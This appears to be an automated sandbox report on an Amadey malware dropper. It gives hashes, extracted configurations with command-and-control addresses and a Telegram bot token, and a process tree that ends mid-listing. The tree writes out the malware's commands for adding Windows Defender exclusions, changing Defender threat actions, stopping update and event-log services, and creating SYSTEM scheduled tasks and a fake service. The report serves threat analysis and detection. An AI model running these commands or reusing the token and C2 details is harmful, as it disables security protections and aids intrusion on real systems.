Analysis

  • max time kernel
    26s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    14-05-2024 01:02

General

  • Target

    49d7d5e73d9bf10aac8ccb3216044892e98b3da688651a25cc20bb925f5f1468.exe

  • Size

    1.8MB

  • MD5

    17ee93b40d1746f9d99cf8521a2ab566

  • SHA1

    371e878e7c8ff19a0f8771aefef9aeb6e28c2b87

  • SHA256

    49d7d5e73d9bf10aac8ccb3216044892e98b3da688651a25cc20bb925f5f1468

  • SHA512

    21f8f6cf4d58775e4498bb1bb86437c30494d633da800ef3427bce4d7e4877018752fb091eb4627ccb0d14bc9f45afd199c752fceb1f4202d2b9d94efc6d01a7

  • SSDEEP

    49152:8sQSR2lQIeqdglI171gF3r4W9q9wx//0WRwcm0:H9CQIe6gKmbZ9ywpD

Malware Config

Extracted

Family

amadey

Version

4.20

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

smokeloader

Version

2022

C2

http://trad-einmyus.com/index.php

http://tradein-myus.com/index.php

http://trade-inmyus.com/index.php

rc4.i32
rc4.i32

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect Xworm Payload 2 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 24 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

    Run Powershell and hide display window.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 14 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 29 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 33 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\49d7d5e73d9bf10aac8ccb3216044892e98b3da688651a25cc20bb925f5f1468.exe
    "C:\Users\Admin\AppData\Local\Temp\49d7d5e73d9bf10aac8ccb3216044892e98b3da688651a25cc20bb925f5f1468.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
      "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2560
      • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
        "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2500 -s 116
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:928
      • C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1816
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1816 -s 52
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:1964
      • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
        3⤵
        • Executes dropped EXE
        • Modifies system certificate store
        PID:1836
      • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:1848
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:964
          • C:\Windows\SysWOW64\sc.exe
            Sc stop GameServerClient
            5⤵
            • Launches sc.exe
            PID:596
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService remove GameServerClient confirm
            5⤵
            • Executes dropped EXE
            PID:2980
          • C:\Windows\SysWOW64\sc.exe
            Sc delete GameSyncLink
            5⤵
            • Launches sc.exe
            PID:2212
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService remove GameSyncLink confirm
            5⤵
            • Executes dropped EXE
            PID:2188
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
            5⤵
            • Executes dropped EXE
            PID:1628
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService start GameSyncLink
            5⤵
            • Executes dropped EXE
            PID:1000
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
          4⤵
            PID:2600
            • C:\Windows\SysWOW64\sc.exe
              Sc stop GameServerClientC
              5⤵
              • Launches sc.exe
              PID:2204
            • C:\Program Files (x86)\GameSyncLink\GameService.exe
              GameService remove GameServerClientC confirm
              5⤵
                PID:2904
              • C:\Windows\SysWOW64\sc.exe
                Sc delete PiercingNetLink
                5⤵
                • Launches sc.exe
                PID:2452
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService remove PiercingNetLink confirm
                5⤵
                  PID:1076
                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                  GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                  5⤵
                    PID:1496
                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                    GameService start PiercingNetLink
                    5⤵
                      PID:2688
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                    4⤵
                      PID:836
                      • C:\Windows\SysWOW64\sc.exe
                        Sc delete GameSyncLinks
                        5⤵
                        • Launches sc.exe
                        PID:1092
                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                        GameService remove GameSyncLinks confirm
                        5⤵
                          PID:1680
                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                          GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                          5⤵
                            PID:2028
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService start GameSyncLinks
                            5⤵
                              PID:1212
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                            4⤵
                              PID:1920
                          • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:1856
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1856 -s 52
                              4⤵
                              • Loads dropped DLL
                              • Program crash
                              PID:2956
                          • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:1984
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1984 -s 52
                              4⤵
                              • Loads dropped DLL
                              • Program crash
                              PID:2056
                          • C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"
                            3⤵
                              PID:1648
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                                4⤵
                                  PID:1676
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                  4⤵
                                    PID:1184
                                    • C:\Users\Admin\Pictures\R3korVHT4WNZUjkc4bHNZ2rr.exe
                                      "C:\Users\Admin\Pictures\R3korVHT4WNZUjkc4bHNZ2rr.exe"
                                      5⤵
                                        PID:2388
                                        • C:\Users\Admin\Pictures\R3korVHT4WNZUjkc4bHNZ2rr.exe
                                          "C:\Users\Admin\Pictures\R3korVHT4WNZUjkc4bHNZ2rr.exe"
                                          6⤵
                                            PID:1468
                                        • C:\Users\Admin\Pictures\aFeO3W4FMAYpzXDCQxnEUJVc.exe
                                          "C:\Users\Admin\Pictures\aFeO3W4FMAYpzXDCQxnEUJVc.exe"
                                          5⤵
                                            PID:1680
                                            • C:\Users\Admin\Pictures\aFeO3W4FMAYpzXDCQxnEUJVc.exe
                                              "C:\Users\Admin\Pictures\aFeO3W4FMAYpzXDCQxnEUJVc.exe"
                                              6⤵
                                                PID:1140
                                            • C:\Users\Admin\Pictures\gSyoK3N9HzpEDXDVRb23pzgh.exe
                                              "C:\Users\Admin\Pictures\gSyoK3N9HzpEDXDVRb23pzgh.exe"
                                              5⤵
                                                PID:1792
                                                • C:\Users\Admin\Pictures\gSyoK3N9HzpEDXDVRb23pzgh.exe
                                                  "C:\Users\Admin\Pictures\gSyoK3N9HzpEDXDVRb23pzgh.exe"
                                                  6⤵
                                                    PID:3024
                                                • C:\Users\Admin\Pictures\S0HWF4lnwusjIQO1MqTseA0b.exe
                                                  "C:\Users\Admin\Pictures\S0HWF4lnwusjIQO1MqTseA0b.exe"
                                                  5⤵
                                                    PID:1624
                                                  • C:\Users\Admin\Pictures\RxGmeplSAOH7kpj64hcY0qDA.exe
                                                    "C:\Users\Admin\Pictures\RxGmeplSAOH7kpj64hcY0qDA.exe" /s
                                                    5⤵
                                                      PID:2060
                                                    • C:\Users\Admin\Pictures\Mk1r2YAqwQVUv14MNBRTpeNB.exe
                                                      "C:\Users\Admin\Pictures\Mk1r2YAqwQVUv14MNBRTpeNB.exe"
                                                      5⤵
                                                        PID:1848
                                                        • C:\Users\Admin\Pictures\Mk1r2YAqwQVUv14MNBRTpeNB.exe
                                                          "C:\Users\Admin\Pictures\Mk1r2YAqwQVUv14MNBRTpeNB.exe"
                                                          6⤵
                                                            PID:3964
                                                        • C:\Users\Admin\Pictures\tX8T2gJKxzDcDwjjjrjNMPV9.exe
                                                          "C:\Users\Admin\Pictures\tX8T2gJKxzDcDwjjjrjNMPV9.exe"
                                                          5⤵
                                                            PID:1616
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS20CA.tmp\Install.exe
                                                              .\Install.exe /tEdidDDf "385118" /S
                                                              6⤵
                                                                PID:1640
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                  7⤵
                                                                    PID:3244
                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                      8⤵
                                                                        PID:3336
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                          9⤵
                                                                            PID:3344
                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                              10⤵
                                                                                PID:3352
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                            8⤵
                                                                              PID:3456
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                9⤵
                                                                                  PID:3476
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                    10⤵
                                                                                      PID:3484
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                  8⤵
                                                                                    PID:3524
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                      9⤵
                                                                                        PID:3532
                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                          10⤵
                                                                                            PID:3540
                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                        8⤵
                                                                                          PID:3584
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                            9⤵
                                                                                              PID:3592
                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                10⤵
                                                                                                  PID:3616
                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                              8⤵
                                                                                                PID:3636
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                  9⤵
                                                                                                    PID:3644
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                      10⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      PID:3664
                                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                        11⤵
                                                                                                          PID:3632
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                  7⤵
                                                                                                    PID:3920
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                      8⤵
                                                                                                        PID:4092
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                          9⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          PID:3112
                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                            10⤵
                                                                                                              PID:3592
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 01:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\qEyOWBL.exe\" it /CMsdidNczE 385118 /S" /V1 /F
                                                                                                        7⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:4044
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                                        7⤵
                                                                                                          PID:3928
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                            8⤵
                                                                                                              PID:3120
                                                                                                              • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                9⤵
                                                                                                                  PID:2192
                                                                                                        • C:\Users\Admin\Pictures\7WRtealACcE9KDLVlx7PIPxc.exe
                                                                                                          "C:\Users\Admin\Pictures\7WRtealACcE9KDLVlx7PIPxc.exe"
                                                                                                          5⤵
                                                                                                            PID:2496
                                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                              6⤵
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              PID:3992
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                              6⤵
                                                                                                                PID:3140
                                                                                                                • C:\Windows\system32\wusa.exe
                                                                                                                  wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                  7⤵
                                                                                                                    PID:3328
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                  6⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:3496
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                  6⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:3800
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                  6⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:1860
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  C:\Windows\system32\sc.exe stop bits
                                                                                                                  6⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:3100
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  C:\Windows\system32\sc.exe stop dosvc
                                                                                                                  6⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:3104
                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                  6⤵
                                                                                                                    PID:2912
                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                    6⤵
                                                                                                                      PID:1336
                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                      6⤵
                                                                                                                        PID:1996
                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                        6⤵
                                                                                                                          PID:2760
                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                          C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                                                                                                                          6⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:3336
                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                          C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                                                                                                                          6⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:2792
                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                          C:\Windows\system32\sc.exe stop eventlog
                                                                                                                          6⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:3232
                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                          C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                                                                                          6⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:3152
                                                                                                                      • C:\Users\Admin\Pictures\yW21xyCVFtL5vbbMh8vSUV77.exe
                                                                                                                        "C:\Users\Admin\Pictures\yW21xyCVFtL5vbbMh8vSUV77.exe"
                                                                                                                        5⤵
                                                                                                                          PID:3296
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS3830.tmp\Install.exe
                                                                                                                            .\Install.exe /tEdidDDf "385118" /S
                                                                                                                            6⤵
                                                                                                                              PID:3392
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                7⤵
                                                                                                                                  PID:3464
                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                    8⤵
                                                                                                                                      PID:3552
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                        9⤵
                                                                                                                                          PID:3560
                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                            10⤵
                                                                                                                                              PID:3572
                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                          8⤵
                                                                                                                                            PID:3600
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                              9⤵
                                                                                                                                                PID:3608
                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                  10⤵
                                                                                                                                                    PID:3624
                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                8⤵
                                                                                                                                                  PID:3656
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                    9⤵
                                                                                                                                                      PID:3680
                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                        10⤵
                                                                                                                                                          PID:3688
                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                      8⤵
                                                                                                                                                        PID:3704
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                          9⤵
                                                                                                                                                            PID:3712
                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                              10⤵
                                                                                                                                                                PID:3724
                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
